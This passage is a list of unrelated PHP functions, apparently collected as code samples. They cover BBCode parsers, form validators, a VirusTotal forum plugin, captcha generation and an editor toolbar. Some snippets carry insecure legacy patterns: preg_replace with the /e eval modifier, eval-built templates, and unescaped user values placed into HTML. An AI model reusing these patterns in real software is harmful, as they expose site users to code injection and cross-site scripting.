$tag_raw.='&quot;';\n\t\t\t\t\t\t\t$current_attribute_value.='\"';\n\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t} elseif (substr($comcode,$pos-1,6)=='&quot;')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='&quot;';\n\t\t\t\t\t\t\t$current_attribute_value.='&quot;';\n\t\t\t\t\t\t\t$pos+=6;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($comcode[$pos]=='\\\\')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='\\\\';\n\t\t\t\t\t\t\t$current_attribute_value.='\\\\';\n\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t} else $current_attribute_value.=$next;\n\t\t\t\t\t} else $current_attribute_value.=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t$tag_output->attach($continuation);\n\t$continuation='';\n\n\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t$tag_output->attach($close_list);\n\n\tif (($status!=CCP_NO_MANS_LAND) || (count($tag_stack)!=0))\n\t{\n\t\tif (!$lax)\n\t\t{\n\t\t\t$stack_top=array_pop($tag_stack);\n\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_BROKEN_END',is_null($stack_top)?$current_tag:$stack_top[0]),$pos,$comcode,$check_only);\n\t\t} else\n\t\t{\n\t\t\twhile (count($tag_stack)>0)\n\t\t\t{\n\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t/*if ($_last[0]=='title') Not sure about this\n\t\t\t\t{\n\t\t\t\t\t$_structure_sweep=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}*/\n\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,NULL,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t$in_code_tag=false;\n\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t$mindless_mode=$_last[7];\n\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t$comcode_dangerous_html=$_last[9];\n\t\t\t}\n\t\t}\n\t}\n\n//\t$tag_output->left_attach('<div class=\"xhtml_validator_off\">');\n//\t$tag_output->attach('</div>');\n\n\treturn $tag_output;\n}", "function virustotalscan_scan_url($message)\r\n{\r\n\tglobal $mybb;\r\n // in momentul in care se apeleaza aceasta functie toate testele au fost facute\r\n // altfel se incepe scanarea prin construirea cheii\r\n $key = $mybb->settings['virustotalscan_setting_key'];\r\n // se parseaza eventuale legaturi\r\n $message = preg_replace('#<a href=\"(.*?)\"(.*?)>(.*?)</a>#s', virustotalscan_check_url('\\1', '\\3', '\\2', $key), $message);\r\n // dupa prelucrari se iese din functie\r\n return;\r\n}", "function MCW_plausibility_check($widget){\n // error message if code is incorrect\n $res = false; // = 0 = ''\n $code = stripslashes($widget['code']);\n $kind = $widget['kind'];\n \n //check 0\n $rec_check = MCW_check_chain($widget);\n if ($rec_check['clean']==false){\n $res=$res.'DANGER: Current widget configuration would lead to infinite loops: <code>'.$rec_check['chain'].'</code>';\n }\n \n //check 1\n $code_a='<?php';\n $code_b='?'.'>';\n $code_a_count=substr_count($code, $code_a);\n $code_b_count=substr_count($code, $code_b);\n if ($code_a_count <> $code_b_count) \n $res=$res.$code_a_count.' php-open-tag (<code>'.MCW_make_html_writeable($code_a).'</code>) vs. '.$code_b_count.' php-close-tag (<code>'.MCW_make_html_writeable($code_b).'</code>)';\n \n //check 2\n if ($kind=='html'){\n $code_a='?'.'>';\n $code_b='<?php'; \n } else {\n $code_a='<?php';\n $code_b='?'.'>'; \n }\n $code_a_pos=strpos($code, $code_a);\n $code_b_pos=strpos($code, $code_b);\n if ($code_a_pos < $code_b_pos){\n if ($res) $res=$res.',<br>';\n $res=$res.'You should not use <code>'.MCW_make_html_writeable($code_a).'</code> before <code>'.MCW_make_html_writeable($code_b).'</code> in '.$kind.'-code. Please select html or remove these tags.';\n }\n \n return $res;\n //return false; \n }", "public function codeRechargement()\n {\n $code_secret = $this->utils->securite_xss($_POST['codesecret']);\n $fk_agence = $this->utils->securite_xss($_POST['fkagence']);\n $frais = $this->compteModel->verifCodeRechargement($fk_agence, $code_secret);\n if ($frais == 1) echo 1;\n elseif ($frais == 0) echo 0;\n else echo -2;\n }", "public function save() {\n\t\tif ($this->is_bad == true) {\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_headline, 'utf-8')) {\n\t\t\techo \"NO head\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description1, 'utf-8')) {\n\t\t\techo \"NO description1\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description2, 'utf-8')) {\n\t\t\techo \"NO description2\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\treturn parent::save();\n\t}", "function virustotalscan_replace_style()\r\n{\r\n global $mybb, $templates, $virustotalscan_url_css, $plugins;\r\n $groups = explode(\",\", $mybb->settings['virustotalscan_setting_url_groups']);\r\n // doar in cazul in care modulul de scanare al legaturilor este activ se trece la adaugarea codului CSS in forum\r\n if ($mybb->settings['virustotalscan_setting_url_enable'] && virustotalscan_check_server_load($mybb->settings['virustotalscan_setting_url_loadlimit']) && !empty($mybb->settings['virustotalscan_setting_key']) && !in_array($mybb->user['usergroup'], $groups))\r\n {\r\n eval(\"\\$virustotalscan_url_css = \\\"\".$templates->get(\"virustotalscan_url_css\").\"\\\";\"); \r\n // in acest caz va exista scanarea URL-urilor\r\n $plugins->add_hook('parse_message_end', 'virustotalscan_scan_url');\r\n }\r\n}", "function bbcode($wysiwyg=false) {\r\n\t//set up parser, sort out new lines and unparse html\r\n\tglobal $smilesearch,$smilereplace;\r\n\t\r\n\t$result = mysql_query('\r\n\t\tSELECT smilietext,smiliepath FROM smilie\r\n\t\t') or die(__LINE__.__FILE__.mysql_error());\r\n\twhile ($smilie = mysql_fetch_object($result)) {\r\n\t\t$smilesearch[] = $smilie->smilietext;\r\n\t\t$smilereplace[] = '<img src=\"'.htmlspecialchars($smilie->smiliepath).'\" alt=\"'.htmlspecialchars($smilie->smilietitle).'\" />';\r\n\t}\r\n\tunset($result);\r\n\t\r\n\t$bbcode = new StringParser_BBCode ();\r\n\t\r\n\t\r\n\t$bbcode->addFilter (STRINGPARSER_FILTER_PRE, 'removehtmlwrappers'); //remove html parsing\r\n\t$bbcode->addFilter (STRINGPARSER_FILTER_PRE, 'convertlinebreaks'); // Unify line breaks of different operating systems\r\n\t$bbcode->addFilter (STRINGPARSER_FILTER_PRE, 'parse_smilies'); \r\n\t$bbcode->addFilter (STRINGPARSER_FILTER_PRE, 'removeblogbreaks'); //remove break tags for user blogs\r\n\t$bbcode->addFilter (STRINGPARSER_FILTER_POST, 'auto_link'); //any url with spaces before/after it gets wrapped in a link\r\n\t$bbcode->addFilter (STRINGPARSER_FILTER_POST, 'longwords'); // stop long words from breaking page\r\n\t\r\n\t$bbcode->setGlobalCaseSensitive (false); //don't really want our casing to be case sensitive\r\n\t$bbcode->addParser (array ('block', 'inline', 'link', 'listitem'), 'nl2br');\r\n\t$bbcode->addParser ('list', 'bbcode_stripcontents');\r\n\t\r\n\t//then roll through bbcode items in db \r\n\t$result = mysql_query('SELECT * FROM bbcodes'.($wysiwyg ? ' WHERE wysiwyg = 1': '')) or die(__LINE__.__FILE__.mysql_error());\r\n\twhile ($b = mysql_fetch_object($result)) {\r\n\t\tif ($b->code) {\r\n\t\t\t$params = $allowed_in = $not_allowed_in = array();\r\n\t\t\tforeach (array('params','allowed_in','not_allowed_in') as $item) {\r\n\t\t\t\tif ($item == 'params') $tmps = explode('|||',$b->$item);\r\n\t\t\t\telse $tmps = explode(',',$b->$item);\r\n\t\t\t\t$tmparr = array();\r\n\t\t\t\tforeach ($tmps as $tmp) {\r\n\t\t\t\t\tif (trim($tmp)) {\r\n\t\t\t\t\t\tif (strstr($tmp,':::')) {\r\n\t\t\t\t\t\t\t$tm = explode(':::',$tmp);\r\n\t\t\t\t\t\t\t$tmparr[$tm[0]] = $tm[1];\r\n\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\t$tmparr[] = $tmp;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tswitch($item) {\r\n\t\t\t\t\tcase 'params': $params = $tmparr; break;\r\n\t\t\t\t\tcase 'allowed_in': $allowed_in = $tmparr; break;\r\n\t\t\t\t\tcase 'not_allowed_in': $not_allowed_in = $tmparr; break;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tunset($tmparr,$tmps,$tmp,$tm);\r\n\t\t\t\r\n\t\t\t$callback = $b->callback && function_exists($b->callback) ? $b->callback : null;\r\n\t\t\t\r\n\t\t\t$bbcode->addCode($b->code, $b->type, $callback, $params, $b->content_type, $allowed_in, $not_allowed_in);\r\n\t }\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\t$bbcode->addCode ('list', 'callback_replace', 'bbcode_list', array ('usecontent_param'=>'default'),'list', array ('block', 'listitem'), array ());\r\n\t$bbcode->addCode ('*', 'simple_replace', null, array ('start_tag' => '<li>', 'end_tag' => '</li>'), 'listitem', array ('list'), array ());\r\n\t$bbcode->setCodeFlag ('*', 'closetag', BBCODE_CLOSETAG_OPTIONAL);\r\n\t$bbcode->setCodeFlag ('*', 'paragraphs', true);\r\n\t$bbcode->setCodeFlag ('quote', 'paragraph_type', BBCODE_PARAGRAPH_BLOCK_ELEMENT);\r\n\t$bbcode->setCodeFlag ('html', 'paragraph_type', BBCODE_PARAGRAPH_BLOCK_ELEMENT);\r\n\t$bbcode->setCodeFlag ('code', 'paragraph_type', BBCODE_PARAGRAPH_BLOCK_ELEMENT);\r\n\t$bbcode->setCodeFlag ('php', 'paragraph_type', BBCODE_PARAGRAPH_BLOCK_ELEMENT);\r\n\t$bbcode->setCodeFlag ('list', 'paragraph_type', BBCODE_PARAGRAPH_BLOCK_ELEMENT);\r\n\t$bbcode->setCodeFlag ('list', 'opentag.before.newline', BBCODE_NEWLINE_DROP);\r\n\t$bbcode->setCodeFlag ('list', 'closetag.before.newline', BBCODE_NEWLINE_DROP);\r\n\t$bbcode->setOccurrenceType ('img', 'image');\r\n\t$bbcode->setMaxOccurrences ('image', MAXIMAGENUM); //to stop ridiculous threads & smilies\r\n\t$bbcode->setRootParagraphHandling ($wysiwyg ? false : true);\r\n\t\r\n\treturn $bbcode;\r\n}", "public function veriCode() {}", "function cp_html_parseBbCode($arg,$protect = false){\r\n $exp = array();\r\n $exp[] = '/\\[(p|citation|gras|it|item|liste)\\](.+?)\\[\\/\\1\\]/i';\r\n $exp[] = '/\\[(br|youtube:\\d+:\\d+:https:\\/\\/www\\.youtube\\.com\\/[^ \\]]+( [^\\]]*)?)\\]/i';\r\n $exp[] = '/\\[(a):([^\\]]*)\\][^[]+\\[\\/\\1\\]/i';\r\n $exp[] = '/\\[#x?[0-9a-fA-F]+\\]/';\r\n \r\n if(is_string($arg)){\r\n return preg_replace_callback($exp,'cp_html_parseBbCode',str_replace(array(\"\\r\",\"\\n\"),'',($protect)?htmlentities($arg):$arg));\r\n }\r\n \r\n // youtube with legende\r\n if(preg_match('/^\\[youtube:\\d+:\\d+:https:\\/\\/www\\.youtube\\.com\\/[^ \\]]+ [^\\]]+\\]$/i',$arg[0])){\r\n return preg_replace('/youtube:(\\d+):(\\d+):(https:\\/\\/www\\.youtube\\.com\\/[^ \\]]+) ([^\\]]*)$/i','<figure><iframe width=\"\\1\" height=\"\\2\" src=\"\\3\" allowfullscreen></iframe><figcaption>\\4</figcaption></figure>',$arg[1]);\r\n \r\n }\r\n\r\n // youtube without légende\r\n if(preg_match('/^\\[youtube:\\d+:\\d+:https:\\/\\/www\\.youtube\\.com\\/[^ \\]]+\\]/i',$arg[0])){\r\n return preg_replace('/youtube:(\\d+):(\\d+):(https:\\/\\/www\\.youtube\\.com\\/[^ \\]]+)/i','<iframe width=\"\\1\" height=\"\\2\" src=\"\\3\" allowfullscreen></iframe>',$arg[1]);\r\n \r\n }\r\n\r\n // Link\r\n if(preg_match('/^\\[a:([^\\]])*\\][^[]+\\[\\/a\\]$/i',$arg[0])){\r\n $url_data = parse_url($arg[2]);\r\n\r\n $extern = isset($url_data['scheme']); \r\n\r\n if($extern){\r\n $isValid = filter_var($arg[2],FILTER_VALIDATE_URL);\r\n if($isValid){\r\n return preg_replace_callback($exp,'cp_html_parseBbCode',preg_replace('/\\[a:([^\\]]*)\\]([^\\[]+)\\[\\/a\\]/i','<a target=\"_blank\" href=\"\\1\">\\2</a>',$arg[0]));\r\n }\r\n return $arg[0];\r\n \r\n }else{\r\n if( isset($url_data['path']) && !file_exists($url_data['path']) ){\r\n return $arg[0];\r\n }\r\n return preg_replace_callback($exp,'cp_html_parseBbCode',preg_replace('/\\[a:([^\\]]*)\\]([^\\[]+)\\[\\/a\\]/i','<a href=\"\\1\">\\2</a>',$arg[0]));\r\n }\r\n \r\n \r\n }\r\n\r\n // Unicode\r\n if(preg_match('/^\\[#x?[0-9a-fA-F]+\\]$/',$arg[0])){\r\n return preg_replace('/\\[#(x)?([0-9a-fA-F]+)\\]/','&#\\1\\2;',$arg[0]);\r\n }\r\n\r\n \r\n // Basic tags\r\n switch ($arg[1]) {\r\n case \"br\":\r\n return \"<br>\";\r\n case 'p' :\r\n return preg_replace_callback($exp,'cp_html_parseBbCode','<p>'.$arg[2].'</p>');\r\n case 'citation' : \r\n return preg_replace_callback($exp,'cp_html_parseBbCode','<blockquote>'.$arg[2].'</blockquote>');\r\n case 'liste' : \r\n return preg_replace_callback($exp,'cp_html_parseBbCode','<ul>'.$arg[2].'</ul>');\r\n case 'item' : \r\n return preg_replace_callback($exp,'cp_html_parseBbCode','<li>'.$arg[2].'</li>');\r\n case 'it' : \r\n return preg_replace_callback($exp,'cp_html_parseBbCode','<em>'.$arg[2].'</em>');\r\n case 'gras' : \r\n return preg_replace_callback($exp,'cp_html_parseBbCode','<strong>'.$arg[2].'</strong>');\r\n }\r\n\r\n echo 'error';\r\n \r\n}", "function markdown_pre_liens($texte){\n\t// si pas de base64 dans le texte, rien a faire\n\tif (strpos($texte,\"base64mdblocs\")!==false) {\n\t\t// il suffit de desechapper les blocs <md> (mais dont on a echappe le code)\n\t\t$texte = echappe_retour($texte,'mdblocs');\n\t}\n\n\t// ici on a le html du code SPIP echappe, mais sans avoir touche au code MD qui est echappe aussi\n\treturn $texte;\n}", "function Comprobar_codedificio()\n{\n\t$correcto = true;\n\n\t//si se cumple la condicion\n\tif (strlen($this->CODEDIFICIO)<3)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODEDIFICIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00003\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo no numérico demasiado corto\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (strlen($this->CODEDIFICIO)>10)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODEDIFICIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00002\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo demasiado largo\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (!preg_match(\"/^[A-Za-zñáéíóúÑÁÉÍÓÚüÜ\\-0-9]+$/\",$this->CODEDIFICIO)){\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODEDIFICIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00040\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Solo están permitidas alfabéticos, números y el “-”\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\n\t\n\treturn $correcto;//se devuelve el resultado\n}", "function show_bbcodes($text) {\r\n\r\n\t// BBcode array\r\n\t$find = array(\r\n\t\t'~\\[b\\](.*?)\\[/b\\]~s',\r\n\t\t'~\\[i\\](.*?)\\[/i\\]~s',\r\n\t\t'~\\[u\\](.*?)\\[/u\\]~s',\r\n\t\t'~\\[quote\\](.*?)\\[/quote\\]~s',\r\n\t\t'~\\[size=(.*?)\\](.*?)\\[/size\\]~s',\r\n\t\t'~\\[color=(.*?)\\](.*?)\\[/color\\]~s',\r\n\t\t'~\\[url\\]((?:ftp|https?)://.*?)\\[/url\\]~s',\r\n\t\t'~\\[img\\](.*?\\.(?:jpg|jpeg|gif|png|bmp))\\[/img\\]~s'\r\n\t);\r\n\r\n\t// HTML tags to replace BBcode\r\n\t$replace = array(\r\n\t\t'<b>$1</b>',\r\n\t\t'<i>$1</i>',\r\n\t\t'<span style=\"text-decoration:underline;\">$1</span>',\r\n\t\t'<pre>$1</'.'pre>',\r\n\t\t'<span style=\"font-size:$1px;\">$2</span>',\r\n\t\t'<span style=\"color:$1;\">$2</span>',\r\n\t\t'<a href=\"$1\">$1</a>',\r\n\t\t'<img src=\"$1\" />'\r\n\t);\r\n\r\n\t// Replacing the BBcodes with corresponding HTML tags\r\n\treturn preg_replace($find, $replace, $text);\r\n}", "function block_version($content)\n {\n }", "function recognize($note) //recognize if user press the inline button or enter valid data\n{\n if ($note == \"P3R$1an\")\n return 0;\n elseif ($note == \"3ngL1$1h\")\n return 0;\n elseif ($note == \"/start\")\n return 0;\n elseif ($note == \"Ent3R_V1a_Ma3t3R_k3Y\")\n return 0;\n elseif ($note == \"asK_m3_Qu3sT1an\")\n return 0;\n elseif ($note == \"Ca_nC_31\")\n return 0;\n elseif ($note == \"f1rst_Qu3stion\")\n return 0;\n elseif ($note == \"sec0nd_Qu3stion\")\n return 0;\n elseif ($note == \"th1rd_Qu3stion\")\n return 0;\n elseif ($note == \"f0rth_Qu3stion\")\n return 0;\n elseif ($note == \"f1fth_Qu3stion\")\n return 0;\n elseif ($note == \"s1x_Qu3stion\" || $note == \"us3R_m3nU\")\n return 0;\n else\n return 1;\n}", "function Comprobar_codedificio()\n{\n\t$correcto = true;\n\n\t//si se cumple la condicion\n\tif (strlen($this->codedificio)<3)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODEDIFICIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00003\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo no numérico demasiado corto\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (strlen($this->codedificio)>10)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODEDIFICIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00002\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo demasiado largo\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (!preg_match(\"/^[A-Za-zñáéíóúÑÁÉÍÓÚüÜ\\-0-9]+$/\",$this->codedificio)){\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"CODEDIFICIO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00040\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Solo están permitidas alfabéticos, números y el “-”\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\n\t\n\treturn $correcto;//se devuelve el resultado\n}", "function templateCode_older() {\r\n\t\tif ($this->template !== \"none\") {\r\n\t\t\tprint('do not use this function 43096809683069836');exit(0);\r\n\t\t\t$bodycode = ReTidy::getBodyCode();\r\n\t\t\tif(strpos($bodycode, '<div class=\"center\">') !== false) {\r\n\t\t\t\tvar_dump(OM::getTagString('abvb<div class=\"center\">adsfds</div>sdsgdsgds', '<div class=\"center\">'));exit(0);\r\n\t\t\t\t$bodycode = substr(OM::getTagString($bodycode, '<div class=\"center\">'), strlen('<div class=\"center\">'), strlen($bodycode)-strlen('<div class=\"center\">')-4);\r\n\t\t\t}\r\n\t\t\t$this->code = str_replace(\"{content}\", $bodycode, file_get_contents($this->template));\r\n\t\t}\r\n\t}", "function blocs_raccourcis() {\r\n\treturn _T('couteauprive:blocs:aide');\r\n}", "function CreateVisualVerifyCode()\n{\n global $DB;\n\n static $vvc_timeout = 1200; // 20 minutes\n\n // Delete old codes\n $DB->query(\"DELETE FROM {vvc} WHERE (datecreated IS NULL) OR (datecreated < %d)\", (TIME_NOW - $vvc_timeout));\n\n $USERAGENT = defined('USER_AGENT') ? $DB->escape_string(USER_AGENT) : '';\n $USERIP = defined('USERIP') ? $DB->escape_string(USERIP) : '';\n if(!empty($USERAGENT) && !empty($USERIP))\n {\n if($vvcid = $DB->query_first(\"SELECT vvcid FROM {vvc} WHERE useragent = '%s' AND ipaddress = '%s'\", $USERAGENT, $USERIP))\n {\n if(!empty($vvcid['vvcid'])) return $vvcid['vvcid'];\n }\n }\n\n // Random string generator; seed for the random number\n //srand((double)microtime()*1000000); <-- unneeded since PHP 4.2!!!\n\n // Runs the string through the md5 function\n //$verifycode = md5(mt_rand(0,99999));\n // creates the new string\n //$verifycode = substr($verifycode, 17, SD_VVCLEN);\n $possible = '23456789bcdfghjkmnpqrstvwxyz';\n $p_len = strlen($possible)-1;\n $verifycode= '';\n $i = 0;\n for($i = 0; $i < SD_VVCLEN; $i++)\n {\n $verifycode .= substr($possible, mt_rand(0, $p_len), 1);\n }\n\n $DB->query(\"INSERT INTO {vvc} (verifycode, datecreated, useragent, ipaddress) \".\n \" VALUES ('%s', %d, '%s', '%s')\", $verifycode, TIME_NOW,\n $USERAGENT, $USERIP);\n\n return $DB->insert_id();\n\n}", "public function checkGoogleWTCode($code) {\r\n\r\n if ($code <> '') {\r\n if (strpos($code, 'content') !== false) {\r\n preg_match('/content\\\\s*=\\\\s*[\\'\\\"]([^\\'\\\"]+)[\\'\\\"]/i', $code, $result);\r\n if (isset($result[1]) && !empty($result[1]))\r\n $code = $result[1];\r\n }\r\n if (strpos($code, '\"') !== false) {\r\n preg_match('/[\\'\\\"]([^\\'\\\"]+)[\\'\\\"]/i', $code, $result);\r\n if (isset($result[1]) && !empty($result[1]))\r\n $code = $result[1];\r\n }\r\n\r\n if ($code == '')\r\n SQ_Error::setError(__(\"The code for Google Webmaster Tool is incorrect.\", _SQ_PLUGIN_NAME_));\r\n }\r\n return $code;\r\n }", "function bbcode($text, $summary = true)\n{\n\t//the replacement\n\tglobal $pattern, $replace;\n\n\t$pattern[] = '%\\[block\\]([^\\a]+?)\\[/block\\]%e';\n\t$replace[] = $summary? '\\'[...]\\'' : '\\'<pre class=\"prettyprint linenums\">\\'.str_replace(\\'<br />\\', \\'\\', \\'$1\\').\\'</pre>\\'';\n\n\t$pattern[] = '%\\[b\\]([^\\n]+?)\\[/b\\]%';\n\t$replace[] = '<b>$1</b>';\n\n\t$pattern[] = '%\\[i\\]([^\\n]+?)\\[/i\\]%';\n\t$replace[] = '<i>$1</i>';\n\n\t$pattern[] = '%\\[u\\]([^\\n]+?)\\[/u\\]%';\n\t$replace[] = '<ins>$1</ins>';\n\n\t$pattern[] = '%\\[s\\]([^\\n]+?)\\[/s\\]%';\n\t$replace[] = '<del>$1</del>';\n\n\t$pattern[] = '%\\[img\\]([^\\n\\[]+?)\\[/img\\]%';\n\t$replace[] = '<img class=\"thumbnail\" src=\"$1\" alt=\"\"/>';\n\n\t$pattern[] = '%\\[url=([^\\n\\[]+?)\\]([^\\n]+?)\\[/url\\]%';\n\t$replace[] = '<a target=\"_blank\" href=\"$1\">$2</a>';\n\n\t$pattern[] = '%\\[youtube\\]([-\\w]{11})\\[/youtube\\]%';\n\t$replace[] = $summary? '[...]' : '<iframe width=\"320\" height=\"240\" src=\"http://www.youtube.com/embed/$1?rel=0\" frameborder=\"0\"></iframe>';\n\n\t$pattern[] = '%\\[quote\\](\\d{4}-\\d{2}-\\d{8}[a-z\\d]{5})\\[/quote\\]%e';\n\t$replace[] = 'quote(\\'$1\\')';\n\n\treturn preg_replace($pattern, $replace, $text);\n}", "function fbWriteTextarea($areaname, $html, $width, $height, $useRte, $emoticons)\r\n {\r\n // well $html is the $message to edit, generally it means in PLAINTEXT @FireBoard!\r\n global $editmode;\r\n // ERROR: mixed global $editmode\r\n global $fbConfig;\r\n\r\n // (JJ) JOOMLA STYLE CHECK\r\n if ($fbConfig->joomlastyle < 1) {\r\n $boardclass = \"fb_\";\r\n }\r\n ?>\r\n\r\n <tr class = \"<?php echo $boardclass; ?>sectiontableentry1\">\r\n <td class = \"fb_leftcolumn\" valign = \"top\">\r\n <strong><a href = \"<?php echo sefRelToAbs(JB_LIVEURLREL.'&amp;func=faq').'#boardcode';?>\"><?php echo _COM_BOARDCODE; ?></a></strong>:\r\n </td>\r\n\r\n <td>\r\n <table border = \"0\" cellspacing = \"0\" cellpadding = \"0\" class = \"fb-postbuttonset\">\r\n <tr>\r\n <td class = \"fb-postbuttons\">\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"b\" name = \"addbbcode0\" value = \" B \" style = \"font-weight:bold; \" onclick = \"bbstyle(0)\" onmouseover = \"helpline('b')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"i\" name = \"addbbcode2\" value = \" i \" style = \"font-style:italic; \" onclick = \"bbstyle(2)\" onmouseover = \"helpline('i')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"u\" name = \"addbbcode4\" value = \" u \" style = \"text-decoration: underline;\" onclick = \"bbstyle(4)\" onmouseover = \"helpline('u')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"q\" name = \"addbbcode6\" value = \"Quote\" onclick = \"bbstyle(6)\" onmouseover = \"helpline('q')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"c\" name = \"addbbcode8\" value = \"Code\" onclick = \"bbstyle(8)\" onmouseover = \"helpline('c')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"k\" name = \"addbbcode10\" value = \"ul\" onclick = \"bbstyle(10)\" onmouseover = \"helpline('k')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"o\" name = \"addbbcode12\" value = \"ol\" onclick = \"bbstyle(12)\" onmouseover = \"helpline('o')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"l\" name = \"addbbcode18\" value = \"li\" onclick = \"bbstyle(18)\" onmouseover = \"helpline('l')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"p\" name = \"addbbcode14\" value = \"Img\" onclick = \"bbstyle(14)\" onmouseover = \"helpline('p')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"w\" name = \"addbbcode16\" value = \"URL\" style = \"text-decoration: underline; \" onclick = \"bbstyle(16)\" onmouseover = \"helpline('w')\"/>\r\n\r\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"h\" name = \"addbbcode24\" value = \"Hide\" onclick = \"bbstyle(20)\" onmouseover = \"helpline('h')\"/>\r\n\r\n &nbsp;<?php echo _SMILE_COLOUR; ?>:\r\n\r\n <select name = \"addbbcode20\"\r\n onchange = \"bbfontstyle('[color=' + this.form.addbbcode20.options[this.form.addbbcode20.selectedIndex].value + ']', '[/color]');\" onmouseover = \"helpline('s')\" class = \"<?php echo $boardclass;?>slcbox\">\r\n <option style = \"color:black; background-color: #FAFAFA\" value = \"\"><?php echo _COLOUR_DEFAULT; ?></option>\r\n\r\n <option style = \"color:#FF0000; background-color: #FAFAFA\" value = \"#FF0000\"><?php echo _COLOUR_RED; ?></option>\r\n\r\n <option style = \"color:#800080; background-color: #FAFAFA\" value = \"#800080\"><?php echo _COLOUR_PURPLE; ?></option>\r\n\r\n <option style = \"color:#0000FF; background-color: #FAFAFA\" value = \"#0000FF\"><?php echo _COLOUR_BLUE; ?></option>\r\n\r\n <option style = \"color:#008000; background-color: #FAFAFA\" value = \"#008000\"><?php echo _COLOUR_GREEN; ?></option>\r\n\r\n <option style = \"color:#FFFF00; background-color: #FAFAFA\" value = \"#FFFF00\"><?php echo _COLOUR_YELLOW; ?></option>\r\n\r\n <option style = \"color:#FF6600; background-color: #FAFAFA\" value = \"#FF6600\"><?php echo _COLOUR_ORANGE; ?></option>\r\n\r\n <option style = \"color:#000080; background-color: #FAFAFA\" value = \"#000080\"><?php echo _COLOUR_DARKBLUE; ?></option>\r\n\r\n <option style = 